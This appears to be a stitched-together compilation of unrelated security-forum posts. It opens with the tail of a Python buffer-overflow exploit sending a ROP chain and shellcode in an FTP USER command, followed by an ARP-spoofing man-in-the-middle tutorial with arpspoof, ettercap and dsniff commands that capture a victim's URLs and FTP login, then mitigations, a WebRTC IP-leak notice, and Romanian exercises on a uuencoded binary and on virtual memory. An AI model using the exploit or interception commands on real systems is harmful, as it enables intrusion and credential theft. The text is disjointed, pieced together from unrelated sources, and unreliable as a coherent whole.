pack('<L',0x5d0913b4) # POP ESI, RETN rop += pack('<L',0x5d095471) # RETN rop += pack('<L',0x77e7d102) # PUSHAD # RETN - RPCRT4 nops = "\x90" * 10 junk = "\x42" * (1000 - len(buffer + eip + rop + nops + shellcode)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] Connecting to %s on port %d" % (target,port) try: s.connect((target,port)) s.recv(1024) print "[+] Sending payload" s.send("USER " + buffer + eip + rop + nops + shellcode + junk + "\r\n") s.close() print "[+] Exploit successfully sent" except: print "[X] Unable to connect to %s" % target raw_input("[+] Press any key to exit\n") After applying deep hooks, the script fails to exploit. Source

The Address Resolution Protocol (ARP) is used to resolve IP addresses into MAC addresses (hardware addresses). Computers in a network send messages to each other through MAC addresses. At an initial stage of communication, the computers are only aware of their allocated IP addresses on the network. The ARP plays the role of making an ARP request from the requesting device on the network by querying the IP addresses on a receiving device for a MAC address. The receiving network device replies with an ARP reply for further communication. More technically, ARP resolves from a network layer into a data-link layer of the OSI model. Resolving IP addresses to MAC with the ARP is similar to how the DNS helps resolve IP address to domain names. One major similarity they both have is that they need to do the resolving job on new network connections. In order to speed up the process and avoid a repetition, a cache is stored. There is usually a DNS cache, and with ARP there is an ARP cache stored on the ARP table. ARP spoofing is where an attacker pretends to be another computer on a network by telling the network gateway to request for the victim’s MAC address from his/her machine IP address. The same process is repeated vice versa with the victim, making the victim see the attacker’s IP address as the gateway address ARP replies. The image below illustrates a typical ARP operation: This image is the same as the process above but with an attacker in the picture: At this point of interception, the attacker receives every piece of data meant for the victim from the gateway and vice versa. A default result will be disrupted communication between the victim and the gateway. Packets meant for the victim wouldn’t get to him, and the victim may get suspicious. To prevent this, the attacker forwards packets from the gateway to the victim and does the same thing back to the gateway. Bringing all that to reality! From a Windows machine, running an arp -a command will list a cache of all neighbour IP addresses with their MAC addresses. This works across Mac and Linux the same way, but our victim machine here is Windows. While we can see that the IP address 192.168.1.1 resolves into the d4:ca:6d:fc:43:9f hardware address, the attacker will begin an ARP proxy (spoof) against this address. The ARP cache on the victim PC as seen above consists of dynamic and static entries. To monitor how the victim’s machine is communicating with the gateway, I’ll run a continuous ping from the victim machine to the gateway device with the Windows ping -t command. During this test, the following IP addresses are used: 192.168.216.2 ? Gateway device 192.168.216.129 ? Victim address 192.168.216.130 ? Attacker address The continuous response from the continuous ping means there is a proper connection between the victim PC and the default gateway. Since ARP replies contain MAC address replies from a network device, the attacker’s objective is to flood ARP replies to both the target and the remote host. To achieve this, the arpspoof command line utility is used on a Linux box. The -i switch is used the specify the network interface, -t is for target host, and -r for remote host. Remote host pretends to be the one to be sending the ARP replies, and Target host is the host that receives the reply. arpspoof -i eth0 -t 192.168.216.2 192.168.216.129 The process is repeated inversely to have a bi-directional packet traffic redirection. arpspoof -i eth0 -t 192.168.216.129 192.168.216.2 At this point, the communication between the victim machine and the gateway is lost. We had created a ping to the gateway earlier from the victim machine. Requests being made are now timed out. The attacker enables IP forwarding to allow packets flow from both proxied network devices. That brings back a network communication with a Man-In-The-Middle of the victim and the gateway host. The victim now has a poisoned ARP cache From the figure above it appears that both IP addresses 192.168.216.2 and 192.168.216.130 resolve into the hardware address 00-0C-29-81-19-63 as dynamic entries. Ettercap can also be used to achieve what we have done with arpspoof, but it’s far less painful to do with arpspoof. To use ettercap we would have had to run: ettercap -i interface -Tq -M arp:remote /192.168.216.2/ /192.168.216.129/ ARP Cache Poisoning ARP cache poisoning involves poisoning the cache of a victim user by flooding it with ARP replies containing MAC addresses to a proxy host. This is what has been achieved in the last step above. ARP spoofing is a technique to achieve ARP cache poisoning. At this point, any kind of network interceptions can be done. You could view images from the victim’s browser by using driftnet, grab mails with mailsnarf, URLs with urlsnarf, IM messages with msgsnarf, sniff files from NFS traffic with filesnarf, and intercept packets with wireshark or ettercap. While I had driftnet active on the attacker machine, I opened the contributors page here at InfoSec Institute and got the following: Just to be a more prying attacker, I had a tmux session with mailsnarf, msgsnarf, and urlsnarf monitoring on 3 panes. I won’t show what the end results of those were, as I’d be putting my privacy in jeopardy by doing so. Okay, I will be nice enough to show results from urlsnarf and dsniff: While urlsnarf was grabbing the URLs, I also kept dnsiff monitoring the victim, and there was an FTP authentication attempt that prompted this: Also, the dsniff suite provides more MITM tools including sshmitm, webmitm, and webspy. An old way to achieve something similar but not quite specific enough is to use another tool from the dsniff suite called macof, and oh! I didn’t mention arpspoof is also from the dsniff suite. Macof floods switched LAN ports with random MAC addresses. That looks too noisy, and since it just starts flooding, I only take it for an option when I’m considering ARP spoofing as a Denial-Of-Service asset. ARP spoofing attacks would be impossible if there was an authentication mechanism for ARP replies. Mitigating ARP spoof attacks Prevent duplicate MAC: This can be achieved by using a good Intrusion Detection System (IDS). It can be set to detect large ARP traffics, duplicate MAC, and MAC floods. Taking a closer look at figure 9, there are two IP address entries with same MAC 00-0C-29-81-19-63 which is something to be prevented. Keep track of ethernet/IP address pairings. Arpwatch tool or ArpSNMP comes really handy when trying to use this. It is a Unix utility. Use static ARP entries. As seen above, the affected entries in the victim ARP cache were dynamic entries. Arpwatch and Arpsnmp have been mentioned earlier. Another good tool for a preventive measure on ARP attacks is Arpon. Before discussing arpon further, I will also like to discuss the arping tool. Arping works just like the ping command line utility. Unlike the ping, which checks if hosts are reachable by their domain names or IP addresses and then resolves domain names into IP addresses, the arping resolves pinged IP addresses into MAC addresses and also allows pinging MAC addresses directly with an interface specified with the -i switch. ARPON is a ARP handler inspection tool that secures the ARP. It uses two techniques to achieve this. The SARPI (Static ARP Inspection) and the DARPI (Dynamic ARP inspection). The two techniques protect against both distributed attacks and bi-directional attacks as we have demonstrated with macof and arpspoof. To properly use the bi-directional protection of Arpon, it should be installed on both network devices including the target and remote host, which are our victim machine and the default gateway. For the distributed attack prevention, Arpon should be installed on all machines in the LAN. Arpon has a daemon that runs from boot when installed on a computer. It helps fight against ARP poisoning attacks with the SARPI and DARPI by blocking them, while tools like Arpwatch and Arpsnmp will just point out the attack presence. Conclusion ARP attacks seen involved taking advantage of the fact that the ARP protocol resolves addresses from the network layer of the OSI model to the data-link layer without any form of authentication. By sending excess ARP replies, an attacker can fool a target machine that he can be addressed by the hardware address of another machine in the network. One major way to prevent this is to avoid MAC duplication in the ARP cache. Various tools were mentioned for mitigation but Arpon seems to be the most powerful tool presently. A future with IPv6 may help put an end to attacks like this. Source

Recent reports from our users have brought to light a security hole that can reveal your IP address to websites through WebRTC. WebRTC was originally developed to aid certain types of connections between browsers without the need for an additional plugin. The ‘RTC’ in WebRTC stands for Real-Time-Communication, and the API directory is used for voice calls, video chats, and p2p file sharing. Suspicions that WebRTC could be used to discover a user’s local IP, even under the presence of a VPN, have been around since 2013. Since WebRTC uses javascript requests to get your IP address, users of NoScript or similar services will not leak their IP addresses. If you are using a VPN or a Proxy and you would like to test this WebRTC Local IP leak, click here. source: https://www.privateinternetaccess.com/forum/discussion/8204/how-to-stop-webrtc-local-ip-address-leaks-on-google-chrome-and-mozilla-firefox-while-using-private-i Mozilla Firefox users can actually turn off the default WebRTC functionality directly in Firefox settings by typing ‘about:config’ into the search bar and browsing to the ‘media.peerconnection.enabled’ option and setting it to FALSE. Users of Canary, Nightly, and Bowser are also vulnerable to this IP leak. However, the local IP address leak should not affect Internet Explorer or Safari users unless they have manually added WebRTC themselves.

Se da urmatorul executabil compilat: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 begin 644 addr.tar.bz2 M0EIH.3%!629363;W0%@`"%Y_________[__[________W_3^[O]_:9KMSVVD M^'5N?V??X`I_;W`U=P2<=W?;W+X[ITDWSNG6<$@]S-M[/AII$T"IX1HT:::3 M4_5/"9,HTVIFFAJ8GJ>4]&HT-#:)Z1DVB:&F(9&33U,0--`#0TTS0F$,CTC3 M31M33$!H`T;*#0DTQ`:F330FTC2,IM3]32#U`TT:``````-``T#(-````#0& M@``````!H`:F")*::>H`-!H`:!H`!H!H```!B!H```&@&@```&30````-`&C M)H"0I$`1(VTFIY(VIHT#U`&)H``-`&@`>H```-!HT``#U````````&@``#L4 M#0`T&@-`TR`-``-`:`,@`````#U#(T:`R:``T#(&31H```,@`&@)$B$)IJ;* MGZ3$GIJ'IE-/*'I&FFFC0`!IZF@``::#0`#0`!H`T`]0`!H`:``#30``#_JX M&G85F@4L65B:1&0;$UWJ:NU5+GHO;3%JN0F2+9G<.BRET18&W9X[MZ_7D68L MO*RG8M7HGZ6HM.>`WYJ$`5=UKT*MRY6&$V-T=&EP+QRNYC*1QW6+0Y?_9[J- M[XS*\K2W*:;;<318,2E!R(TRO1#C9RZS[91`R9!G9BXS,>:S=S4646)1":\A M-!*46D[J,`VM!0CY:@2Y40?QCT*?A<7HXG*YO.Y.6RYSN'O>'O.EE*<336J$ MIV$+7D`97-67M-%WQ=HQ$'CD(G68UQ-E"74#*MOA?.$28*M@>M<O'<0ZK56^ MY:!U!@+)T,K([5J2K%N1:D"``>:0$1<^:A^CW4Y[1QN(2$0%*Z>_5[']':\S M0=!X%W-CQ>BW(2`(0GS$4'.W.LUSD0((Z2HFI/P??PYF6B0#;UU^QITW%E;< MT72A.ZY5A"3R_Z-DY&B$RZ\Q3#%Q;,B*/)G;C.-=\U!QHH*>()^FDFZ*ED+Z M&.QQRMH16:LN%+`H&\?1ZOP-2VFLY?)B"PK)!?J2NL7$JIK+571'*LM-?*,. M._]1BVN7].4Z&Q[]LKM'IL6U;"6=P(F67?\W^WXKV]^=!Q$8,-(&U#0H8@4- M)8;`+C!)9;21@XA`NK8!<:MUQ!E.C$C9&@1E,"NU#`T5V((+I5$.D"PQ*.PP M",;!M)NE*5LK*U*ZJ*C?0P*W1HJ=RD&PC`J&6&M&W7%AR8&!I6+8'?>!@7&% MUJ-%IK"N1(H[32C&VVPK:2O,C"6K]!1FHS<2L-(*F+4.TP56")"DT@H:2F,) M,`U+`FTE-I"J8&?:0IL0#:0V@W=A?-(DT:%B*S$!)B-.U&&2T$&&_+3TH%3` MC=Z@,<;HB^T9ML:"C"C(P(8\HU21081C&.[@JJ543LL4@VRK#9*(&A2!2$7C M)A\MHFIG'F5=!41AW>'[T[?E6<#7*PKAYB!_Q7L+QFC>P\#?OOW[@_#+0;(5 MEZQAIB.T(84`K2@+EC()<0B;,I71Q0X&EX5/.8`_+4*(JAC6JZ9*CVU2QL0O M:3S`K2]]J+K\.=A>Z^8I>A2VZ#C&RK5-0E@!W%J&T0*"9Z",DT&SR08KOLJ` M;SV3!K&IS@6;8+A&@*^D3(5]H09+TFR@2G'\YCZK]<_H+2W%BNNZ/6-'%?>: M:$Y$(E@)V!P)@N+@,9/X('C[X8:B!C&6"#J`D`>.7Z:J1U)8:&TKP``#.(!$ M`Z`0"-(-M+/,T:K$52C]OMUI43X]Y+#;&'>L1:8&H>4&*CQ<;4@@H*SD/ZV\ MCZ=SI^QF^SD)Q,Q4"-.X*(T,477T&<Q3(8Z]_:[S+A>:-.UK>=@L9FUX<$+: MD#$<K;A#<HV48CW6`9JRHT#"XFK@Z*1M43$VFJQL<8?K^1"T%-%!&1)CGR&Y M)@Y?-Q0FQ#!;!.8B,8CSR#[0XB9F"&K`S:,P\I!2=``RB>B@@(!318D!A7,# M(P\W"!"!*%$(`'!2121`9O1&*!`Q!7I!['"`A'C2[O-'^@6DI\DE3*R7,WN5 M(E`DR$F@.K[.0O](3"2(GI=/(G.5V:"EA8:AV-?T$?/,IR!P!<6CBS.!9#2( MW21I)L39!HPFB`A-G9$(TZHVN8>/38QJA6V!31`AM2S(4VA%ZPU(P"YG:/O= MFA(4(>T^Q(1>/][=K16N3V^H*?<6EDCUM>L<()(L,S"!*7,R)K@I_"H8P<HV M12'9SXZ<0.[9JAI"?2,[\F[<!`Z,K.@L-+&8;PQ4MNFK9)2WR"AW38Z*59T> M?E2"[G=FLS"K>5;6!-`W0GC,*?AF:"=,[QYRM08=B`L/I8@Q7<9F68#P(4BJ M(4LBHRVI-HV?2M7@)!?(_LX,WD,`D'+9R2Q,F;#"6L(`-4%3"VV4#.(-EA#" MVHI/34A3+TL(/&6J(EBY917W0W8U<BK$SY`4#Q_R+$E)F`502=G1:ZQ*=#.W M+IH)D\JG6!SE1V(AZJ676X/Q,\?8Y@NI:-;5"*FC"H@+'<1?.DZZ9CM]'%D9 MPS,BM.ND#ZZ*'?R&X*/)SI9SUG4VBU7KU"81P.7J9XQW0""K9@\XA*_0GB@J M(1$$A,)48%(!B=:,7AM+'/F$!LFMJ],S@6XXPFD&H+0"]Z+FN#0I6#/Q7X MX!GSZZX[Q'I*42F^H='G=#X^#2@:$0T@8M?.&*.>+(9`!UL:4Q'6HY6@TQ]. M<TRV-(;#8;Z_*.MM!B*4+%MW)8ZO^_LA>UR$U2?J[450#R&LCEJ(-P^`Y+ MVSV&G[GSI<F1*L0+`2O/(Y=2L^"Q*&*%L*3@,3@.?T1//J:*9)*;8"6#J2J> MQ8+*(J^_D7F,]4UHTC!U?WS%O:HRJI_FFL)8S,<&%C25,I1,<6@]7/^!Q$Q1 MMN64$&H"C.B+/#2*`=&_QR+PW<6F$`/Q+=-<^T(P2$-[%QWSFIF:-"51(I*P M%?!DI>NCDAEI5'&ER3IKIH(NZA$R@OE5=(A%^7;W+K3`@*J8AT0PS>7.W49D M5RVJ(M1P,.9$8A/"H%-E1S)P%@"(-6'@'"M!&@%$)R;XX*%\1`"\`PEQ9,3P MH.6,(2^Z-)6LY.[:DD"3&A':,L=*P&``V6V@-)0+<FN?(%$94HYUCH1OS21> MWW9BF^Y>$5`KO%P7)"["Y60P!S&$=!EG90"EQ4D>6&V4D+S=[Q6!;H<`M#1W ML%O1I%40NM#PJV*KC$<*%#--A@S#A2=\PF%9(JHOI2B!CI-0I23,.BLIW1U4 MUTY!*`*,$:J)5-%0/"W$,(P!WZ,:>'BE9%P@I#$%07AB%FN14*N1T!+A>O8E M$SSAN"`K<DA02BD2BLV+#`$"U$%`P(A7)NFQNN$@-D!J$#PT(Y0DJ*$.4'SA MBW6B(/-U;I7B!5QBORO)JJE+E,RI.$"D;$QKQ'JA"$[41J$0,5U$$%F9,"&G M,-#$GI;9B*T+U9<W8AF<0&`.1A1@&@S,&$@&REA9FBB<?+$*Q+?JX^X(Y*0_ M':4W.8_(F%0:`\MPW9TY?-"*:9"@R]!*=&>(F<SF9F.7$*K.7J5BZ4KD29YJ MR*]%9ZP#?3=2-]XG;I.SRM1[A,5BW5O'0;_N3_ZWS-_@`,$-//K^#59NQOFK M_6$TLO75(5CT<$6"+.3)IICMU:/:O0O]WMD`L*W40P_7)28YPB^PO`80(-W1 M`8/+I7K=7LA`.@GMBWXRE*U\%.*!4*[)K)(FA:UKBA:&-=4MYRF-!J@HG.L" M*45BAG:EB&--6@&0;%L-12)N9%GO_16<J@OH2?6ULO6K8D9!11I#.RAAHU+P MX3PICW1UGXEI>N#TT/K*K#&!,=?\BF]OLZ-L^PRZU9A",(@$Q:9GJ#_&WTM> M]-<0C14?:?##!"8J#$&P8"ZDRS0T+Y_-ZB.`N[A2?&EHP*GY+04/+VZ6]#>I M-=EAI?T\712SB9>%5:NR\\SYY4[;+&&4HDG457@21(P5:0W<<1B0TD#'^978 M_0>'E3`DK'$H/-%R43:/7=H6H*LM,^%@8@#Y![6]5@!*`4?Y?D,O:"[KAX\Y /\7UO@_XNY(IPH2!M[H"P ` end -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.10 (GNU/Linux) iF4EAREIAAYFAk+7fsEACgkQ7qSRZzZm+uAZpQD9FJYfNCm0eZ6ini/FuUxhrOPx Te40REn3xLmaH83JKdUBAKRj2cQEouVJpbmUnIhzbT7F1gt7dnO0rxkrdveNalH7 =vX0e -----END PGP SIGNATURE----- Se cere: 1.Identificati care sunt variabilele definite 2.Specificati adresa de memorie pentru fiecare variabila 3.Pentru fiecare variabila in parte identificati segmentul adresei de memorie in care a fost stocata variabila

Dupa ce veti termina de citit acest tutorial veti cunoaste urmatoarele lucruti: Physical Memory Virtual memory Memory addressing (basics) Voi folosi cei mai simpli termeni ca fiecare sa inteleaga cum functioneaza Physical memory se refera la memoria fizica unde vin stocate datele Memoria fizica poate fi clasificata in 2 tipuri: Active memory Inactive Memory Physical Active memory (RAM) Aici vin stocate programele atunci cand vin executate.Termenul este folosit pentru a descrie cantitatea totala de memorie RAM instalata in calculator.(Se refera la memoria RAM).Poate fi paragonata cu un birou pe care se lucreaza cu diverse documente. Physical Inactive memory (hard drive) Aici vin stocate datele,termenul este folosit pentru a descrie accesarea datelor stocate in harddisk.Poate fi paragonat cu o biblioteca. Virtual memory Se refera la o arhitectura care este in grad sa simuleze un spatiu de memoriemai mare decat memoria Physical Active Memory (RAM).Presupunem ca vine definit un spatiu virtual cu adrese de la 1 la 10 .Acest spatiu poate fi folosit pentru a incarca programele atunci cand vin executate.Acum multi va veti intreba daca e o memorie virtuala unde stocheaza totusi datele.Ei bine aceasta memorie virtuala va stoca datele in RAM si in SWAP(care se afla pe har disk) Cum am mai spus memoria contine adrese unde pot fi stocate datele deoarece atunci cand se vor cere anumite date pentru a fi procesate de catre cpu trebuie sa stie de unde anume sa le scoata .Asadar pentru acest lucru vine impartita in diverse adrese.Adresele din memoria virtuala corespund la adresele de la memoria fizica(RAM) deoarece memoria virtuala este unul si acelasi lucru cu memoria fizica RAM doar ca numerele adreselor sunt diverse .Exemplu adresa 1 poate fi echivalenta la adresa 11 in RAM. In momentul in care un program va trebui sa stocheze o variabila in adresa 1 a memoriei virtuale aceasta adresa va fi tradusa in adresa 11 si variabila va fi stocata in RAM iar daca memoria RAM este plina va fi stocata in SWAP pana cand se va elibera spatiu in RAM.Sigurul lucru in legatura cu memoria virtuala pe care ar trebui sa il cunoasteti este ca este un spatiu virtual iar ceea ce vine stocat aici vine stocat in RAM sau in SWAP.Acest spatiu virtual se ocupa doar sa puna la dispozitie adrese de memorie cate programe care vor fi traduse si stocate in SWAP.Traducerea adreselor din memoria virtuala catre memoria fizica vine facuta prin MMU care este un component hardware.MMU traduce adresele virtuale in adrese fizice.MMU se ocupa de fiecare cerere de access la memorie de catre CPU. Memory addressing(basics) Note:voi defini cateva concepte basic deoarece in acest tutorial nu voi explica diversele tipuri de segmente (cei care au facut ASM sau C stiu la ce ma refer (ma voi referi la memory segmentation intrun alt tutorial unde voi explica conceptul de stack,heap,bss,text,data) Avem un executabil program1. Acest program cand vine executat va fi incarcat intro anumita memorie.Presupunem ca program1 are 5MB probabil va veti intreba cata memorie va ocupa acest program cand va fi executat.Program1 va ocupa 5MB de memorie + cata memorie a fost alocata in momentul in care a fost programat. Spre exemplu daca in program1 am stocat o variabila in memorie atunci cand va fi executat programul va ocupa 5mb + memoria variabilei declarate + alta memorie care a fost declarata chiar daca nu vine folosita. Unde va fi stocat acest program? In care memorie?Fiecare bucata din acest program va pleca la o anumita adresa a memoriei virtuale care va fi tradusa de catre MMU in adrese care corespund memoriei fizice RAM iar in cazul in care memoria fizica RAM este deja ocupata de catre alte programe acesta va fi stocat in swap asadar in momentul in care se va elibera memorie in RAM va trece in RAM. Cum arata o adresa de memorie? Vom crea cel mai simplu program posibil pentru a demonstra acest lucru #include <stdio.h> int main(void) { //Declar variabila var int var; //Stampez adresa in memorie a variabilei var printf ("Address of var is %p\n", &var); return 0; } o data executat acest program am obtinut urmatorul rezultat : Address of var is 0xbffff9ec Adresa variebilei acestui program este 0xbffff9ec care tradusa in decimal e 3221223916 In memorie adresa arata cam asa 10111111111111111111100111101100 Dupa cum vedeti eu am decis cum vreau sa fie stampata adresa variabilei var , daca careva prefera sa fie stampata intrun mod divers poate poate sa o faca Exemplu: #include <stdio.h> int main(void) { //Declar variabila var int var; //Stampez adresa in memorie a variabilei var in diverse moduri printf ("Address of var is %p\n", &var); //escaped hex C printf ("Address of var is %X\n", &var); //capital hex printf ("Address of var is %x\n", &var); //hex printf ("Address of var is %u\n", &var); //decimal return 0; } Output Address of var is 0xbffff9ec Address of var is BFFFF9EC Address of var is bffff9ec Address of var is 3221223916 Variabila var se gaseste in memoria virtuala la adresa 3221223916 intrun segment al memoriei chemat stack in acest caz (Memoria poate fi impartita in mai multe segmente dar cum am spus mai sus nu voi intra in detaliu)Nu toate variabilele se gasesc in stack . MMU va traduce adresa 3221223916 intro adresa fizica care este stocata in RAM.Daca memoria ram ar fi fost plina.MMU ar fi tradus adresa virtuala 3221223916 intro adresa fizica stocata in SWAP.Am creat o diagrama care explica unde si cum vine stocata memoria programelor care vin executate. Dupa cum vedeti in imagine memoria virtuala vine reprezentata doar de un tabel de adrese pe care MMU le va traduce in alte drese a memoriei fizice (RAM) sau (SWAP) in cazul in care RAM este ocupata. Daca aveti intrebari sunteti liberi sa le faceti ,in acest tutorial am folosit cat mai putini termeni informatici pentru a explica cum functioneaza memoria virtuala si memoria fizica, daca nu ati inteles ceva nu ezitati sa intrebati.